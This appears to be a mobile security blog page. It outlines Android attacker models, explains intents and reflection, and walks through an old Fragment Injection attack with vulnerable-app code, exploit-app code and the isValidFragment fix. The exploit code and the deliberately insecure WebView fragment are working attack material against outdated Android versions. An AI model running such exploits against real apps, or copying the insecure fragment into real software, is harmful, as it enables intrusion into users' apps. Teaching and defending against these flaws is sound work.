Attacks
Attacking device
For this attack there are several types of attacker: • MiM, i.e. a sniffer. This person is using the same network and intercepting traffic. What does that attacker need? • Mobile phone is stolen • Exploit
Attacking applications
For this attack there are more types of attacker: • MiM - same network, certificate to install (if HTTP), setting attacker as proxy. If the person has enabled and forgotten to disable adb tcpip, you can connect from a trusted PC. • Stolen phone - PIN and DE circumvent, rooting (for acquiring some data), developer’s mode on • Malicious application - persuade the user to install an app. Preferably, gain maximum possible permissions. If rooted - big celebration. • Exploit - export written, physical access or access over network (depends on exploit), or malicious application installed (see above). • Malicious user - an application with bugs. For example, a user of e-banking has found a way to circumvent commission for transactions.
Here is an RTFM guide for Android. Here is an app I’m working on, Expoiter. It’s implementing complex attacks with regards to Mobile Security Guide. Here is a table-checklist for Android app security assessment.
Android
I’m not going to describe in all the details the basics of this architecture for it’s described pretty good here: Mobile Security Guide link. What I’m going to describe are the things I’ve found difficult to understand myself.
Intents
When someone wants to do something, he or she shows an intention. It’s an intent to do or get something. It’s like shopping: you have money and intention to buy something, you go to the shop, to the seller, give him or her money and may be a coupon and get what you intended to. But what if you take money and a coupon and get to the Pentagon office and ask for the classified information about Rosy? Apparently, having an intent is not enough. You also need a permission from another party. And the corresponding documents or things. The very same principle applies to Android applications and how applications communicate with each other and how their own parts communicate with each other.
But let’s face it. Say, a table, cannot talk. So, the same applies here. Imagine it’s a fantasy world (although not that interesting). There are three races. Activities
Broadcast Receivers
Content Providers
Custom URL schemes
Fragments
Fragment Injection
⚠️ It’s an old vulnerability that won’t work with newer building tools. More about this vulnerability analysis here in my blog post.
Fragments require Reflection API. What’s that? Compare two ways of instanciating a class:
// option 1
Class testClass = new CatsClass();
// option 2
String sClassName = "android.app.CatsClass";
Class classToInvestigate = Class.forName(sClassName);
The second way uses a string with a class name to create a class. When using the regular (the first way), if CatsClass is not in Android SDK of certain version at runtime, the app crashes. So, developers use reflection to check whether certain class/method/field etc exists at runtime. Here is a good reference.
The code below was copied from Mobile Security Guide. However, I’ve edited the exploit. The basic idea behind the scenes is as follows. To acomplish this attack you need:
- Vulnerable application (SDK < 19 and Android < 4.4). Can be downloaded from here.
- Application has an exported activity that
extends PreferenceActivity - Application has an unexported activity that utilizes
Fragments. - Application has a
Fragment. For the purpose of this example, withWebView.
- Application has an exported activity that
- Exploit application. Can be downloaded from here, but you can also create your own Android project in Android Studio (for Android 4.3 and SDK 18) and copy-paste the exploit code from below.
Vulnerable application’s Activity which extends PreferenceActivity:
public class MainActivity extends PreferenceActivity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
}
}
Actially this code will crash on a device, since there appears to be a slight protection: you cannot use PreferenceActivity extension on MainActivity. So, I’ve created a separate ExportedActivity class. Vulnerable application’s Fragment without protection. For example, a fragment below parses input string and opens the URL in WebView:
public class MyFragment extends Fragment {
public void onCreate (Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
}
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View v = inflater.inflate(R.layout.fragmentLayout, null);
WebView myWebView = (WebView) wv.findViewById(R.id.webview);
myWebView.getSettings().setJavaScriptEnabled(true);
myWebView.loadUrl(this.getActivity().getIntent().getDataString());
return v;
}
}
Expoit application (create Empty Activity for Android for 4.3, API 18 and paste this code):
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
fragmentInjection("pt.claudio.insecurefragment",
"pt.claudio.insecurefragment.MainActivity",
"pt.claudio.insecurefragment.MyFragment",
"https://bakerst221b.com/docs/articles/mobile/android/complex-attacks/"
);
}
protected void fragmentInjection(String victimPackage,
String victimActivity,
String victimFragment,
String exploitString) {
Intent i = new Intent();
i.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
i.setClassName(victimPackage,victimActivity);
i.putExtra(":android:show_fragment",victimFragment);
Intent intent = i.setData(Uri.parse(exploitString));
startActivity(i);
}
}
To protect from this attack, add this code to the activity which extends PreferenceActivity:
@Override
protected boolean isValidFragment(String fragmentName)
{
return "com.fullpackage.MyPreferenceFragment".equals(fragmentName); //here can be any name for legal fragment
}
All code is from Mobile SecGuide.
iOS
iOS IPC is arguably much poorer than the Android’s. That leads to less exposure on that frontline.